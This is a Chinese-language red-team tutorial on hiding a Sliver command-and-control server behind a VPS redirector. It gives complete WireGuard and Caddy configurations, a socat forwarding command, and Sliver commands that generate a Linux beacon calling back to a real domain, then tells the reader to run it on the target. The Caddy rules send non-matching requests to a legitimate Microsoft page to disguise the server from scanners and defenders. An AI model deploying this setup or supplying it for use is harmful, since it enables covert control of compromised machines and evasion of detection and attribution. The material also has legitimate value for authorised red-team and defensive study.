基于WireGuard与Caddy构建红队应用层流量重定向器
1. 核心问题:传统C2基础设施的缺陷
在网络攻防的红队行动中,传统的命令与控制(C2)服务器架构存在以下显著风险:
- 暴露真实IP:受害机器(目标)与C2服务器直接建立连接,会直接暴露C2服务器的真实公网IP地址。
- 特征明显易被识别:C2通信协议通常具有可被安全设备(如防火墙、入侵检测系统)识别的特征。
- 高风险后果:暴露的IP可能导致基础设施被快速发现、封禁,甚至面临逆向溯源和反制攻击。
- 重建成本高:基础设施一旦被破坏,重建需要耗费额外的时间和资源。
因此,构建一个重定向层至关重要。该层的主要作用是:
- 屏蔽真实IP:作为代理,隐藏后端C2服务器的真实位置。
- 过滤恶意探测:可以对流量进行规则匹配,阻挡扫描或探测请求。
- 提高生存性:即使重定向器(通常部署在VPS上)被发现,核心C2服务器依然安全。
2. 解决方案概览:两种流量重定向方式
本文介绍了两种主流的构建重定向层的方法:
- 应用层TLS卸载转发:利用Web服务器(如Caddy)在应用层解密、检查并转发流量。这是本文推荐的方式。
- 传输层透传:利用隧道工具(如socat)在传输层直接转发原始加密流量,不做内容检查。
3. 方法一:应用层TLS卸载转发(推荐)
此方法的核心是由重定向器终止TLS连接,解密并查看流量内容,再通过加密隧道转发给真实的C2服务器。
3.1 环境与组件说明
- 重定向器/转发层:一台具有公网IP的VPS。负责接收来自互联网的流量。
- C2服务器:位于内网或另一个隐蔽位置的服务器(如Kali Linux)。运行实际的C2服务(如Sliver)。
- 域名:一个已注册的域名,并配置A记录解析到重定向器VPS的公网IP。
- 核心工具:
- WireGuard:一个高性能、配置简单的现代VPN。用于在重定向器和C2服务器之间建立一个加密的专用隧道。
- Caddy:一个用Go编写的、易于配置的Web服务器,自动管理HTTPS证书。负责HTTPS卸载、流量路由和转发。
3.2 具体部署步骤
步骤1:配置WireGuard加密隧道
目标是在VPS(服务端)和Kali(客户端)之间建立一个虚拟专用网络。
-
生成密钥对(在VPS和Kali上分别执行):
wg genkey | tee privatekey | wg pubkey > publickey命令执行后会得到一对密钥:
privatekey(私钥,必须保密)和publickey(公钥,需告知对端)。 -
配置VPS(重定向器)端的WireGuard:
编辑配置文件/etc/wireguard/wg0.conf:[Interface] Address = 10.8.0.1/24 # 指定VPS在隧道内的IP地址 ListenPort = 51802 # 指定WireGuard监听的UDP端口 PrivateKey = <VPS的私钥内容> # 粘贴VPS生成的privatekey [Peer] PublicKey = <Kali的公钥内容> # 粘贴Kali生成的publickey AllowedIPs = 10.8.0.2/32 # 允许来自Kali(IP为10.8.0.2)的流量[Interface]部分配置本机。[Peer]部分配置对端(Kali)。
-
配置Kali(C2服务器)端的WireGuard:
编辑配置文件/etc/wireguard/wg0.conf:[Interface] Address = 10.8.0.2/24 # 指定Kali在隧道内的IP地址 PrivateKey = <Kali的私钥内容> # 粘贴Kali生成的privatekey [Peer] PublicKey = <VPS的公钥内容> # 粘贴VPS生成的publickey EndPoint = 60.205.xxx.xxx:51802 # VPS的公网IP和WireGuard端口 AllowedIPs = 10.8.0.1/32 # 允许通往VPS(IP为10.8.0.1)的流量 PersistentKeepalive = 25 # 每25秒发送一次保活包,防止NAT超时 -
启动WireGuard隧道:
- 在VPS上启动:
sudo systemctl enable wg-quick@wg0 --now - 在Kali上启动:
sudo systemctl enable wg-quick@wg0 --now - 启动顺序:先启动VPS端(服务端),再启动Kali端(客户端)。
- 验证:在Kali上执行
ping 10.8.0.1,应该能收到VPS的回复,表示隧道建立成功。
- 在VPS上启动:
步骤2:配置Caddy作为重定向器
Caddy将监听公网域名(HTTPS 443端口),根据路径规则转发流量。
-
编写Caddy配置文件(在VPS上编辑
/etc/caddy/Caddyfile):lysander.asia { # 替换为你的域名 log { output stdout format console } # 定义匹配规则:当请求路径为 /api/v1/test/* 时 @c2 path /api/v1/test/* # 处理匹配 @c2 规则的请求 handle @c2 { # 反向代理到C2服务器(通过WireGuard隧道) reverse_proxy 10.8.0.2:8080 { # 10.8.0.2是Kali在隧道内的IP header_up Host {host} header_up X-Real-IP {remote} header_up X-Forwarded-For {remote} } } # 处理所有其他不匹配的请求(用于伪装和干扰) handle { redir https://support.microsoft.com/en-us # 重定向到其他无害网站 } }- 关键配置:
reverse_proxy 10.8.0.2:8080将所有匹配的C2流量通过WireGuard隧道转发到Kali机器的8080端口。 - 伪装处理:对于任何不匹配C2路径的访问(例如扫描、误访问),将其重定向到一个合法的公共网站(如微软支持页面),使服务看起来像一个正常的网站。
- 关键配置:
-
重启Caddy:
sudo systemctl restart caddy
Caddy会自动从Let‘s Encrypt获取并配置该域名的HTTPS证书。
步骤3:在C2服务器上配置Sliver监听器
在Kali机器上操作。
-
启动Sliver C2服务器:
sliver-server -
在Sliver控制台中,创建一个HTTP监听器,监听在WireGuard隧道IP的8080端口:
sliver > http --lport 8080为何使用HTTP而非HTTPS?
- 外部流量(目标->VPS)已由Caddy提供了HTTPS加密。
- 流量到达Caddy时,TLS被卸载(解密)。
- Caddy与Kali之间的流量通过WireGuard VPN隧道进行加密传输,安全性有保障,因此无需在C2监听器上再次启用TLS。
-
生成一个Beacon负载(Payload),其回连地址指向重定向器的域名和C2路径:
sliver > generate beacon --http https://lysander.asia/api/v1/test --os linux --name shell --save shell- 注意:这里指定的URL是公网域名和Caddy中配置的匹配路径。
-
将生成的Payload在目标机器上执行,即可看到Beacon通过重定向器成功上线。
3.3 流量路径分析(应用层转发)
- 目标机器 -> (HTTPS) -> 重定向器(VPS):互联网加密流量。
- 重定向器(Caddy):接收流量,进行TLS卸载(解密),根据路径规则匹配。若匹配,则准备转发。
- 重定向器 -> (WireGuard加密隧道) -> C2服务器(Kali):通过VPN隧道,将解密的HTTP流量加密传输给Kali的8080端口。
- C2服务器(Sliver):接收到明文的HTTP请求,处理Beacon通信。
4. 方法二:传输层透传
此方法的核心是不进行TLS卸载,重定向器对流量内容完全不可见,仅作为TCP端口转发器。
4.1 工作原理
- 利用C2框架内置的强加密(如Sliver的mTLS,即双向TLS认证)。客户端(Beacon)和服务器(Sliver)使用预共享的证书进行相互认证和通信加密。
- 由于流量全程被C2框架的证书加密,Caddy这样的Web服务器无法解密,因此不适用于应用层转发。
- 重定向器仅需使用简单的端口转发工具(如
socat),将接收到的原始TCP流量,通过WireGuard隧道“透传”给后端的C2服务器。
4.2 配置步骤
- WireGuard隧道配置:与3.2节步骤1完全相同,确保VPS(10.8.0.1)和Kali(10.8.0.2)连通。
- C2服务器配置:在Kali的Sliver中,创建一个mTLS监听器,监听在8888端口(例如)。
- 重定向器配置:在VPS上,使用
socat进行TCP端口转发:socat TCP4-LISTEN:443,fork TCP4:10.8.0.2:8888- 此命令监听VPS本地的443端口,将所有接收到的TCP数据,通过隧道转发到Kali(10.8.0.2)的8888端口。
- 生成Payload:生成mTLS Beacon,其回连地址设置为重定向器VPS的IP或域名。
4.3 流量路径分析(传输层透传)
- 目标机器 -> (mTLS加密流量) -> 重定向器(VPS:443)。
- 重定向器(socat) -> (WireGuard隧道) -> C2服务器(Kali:8888):原始加密数据包被直接转发。
- C2服务器(Sliver):解密并处理mTLS流量。
5. 总结与对比:为何推荐应用层HTTP转发?
| 特性 | 应用层TLS卸载转发 (HTTP) | 传输层透传 (mTLS) |
|---|---|---|
| 流量加密 | 外部HTTPS + 内部WireGuard加密 | C2框架内置加密(如mTLS) |
| 流量可见性 | 重定向器(Caddy)可查看解密后的HTTP内容 | 重定向器(socat)对流量内容完全不可见 |
| 流量伪装 | 优秀。可配置网站首页、错误页面,将非法请求重定向至正常网站,完全模仿Web服务。 | 较差。仅进行TCP转发,无法提供合法的HTTP响应,连接行为可能显得异常。 |
| 抗扫描/探测 | 优秀。可通过Caddy规则过滤不符合路径的请求,直接返回伪装响应。 | 无。所有到达端口的连接都会被转发至C2,易被端口扫描发现。 |
| 隐蔽性 | 高。混合在正常的Web流量中,难以被防火墙基于协议特征识别。 | 低。加密的、非标准HTTP的TCP流量在严格网络环境中容易被识别为异常。 |
结论:对于红队基础设施而言,应用层HTTP转发方案是更优选择。它在不牺牲安全性的前提下(通过WireGuard保障内段通信安全),提供了极强的流量伪装能力和抗探测特性,能够更好地模拟正常业务流量,从而延长重定向器和后端C2基础设施的生存时间。传输层透传虽然加密强度高,但因缺乏应用层伪装,其流量特征更易被现代防御系统检测和拦截。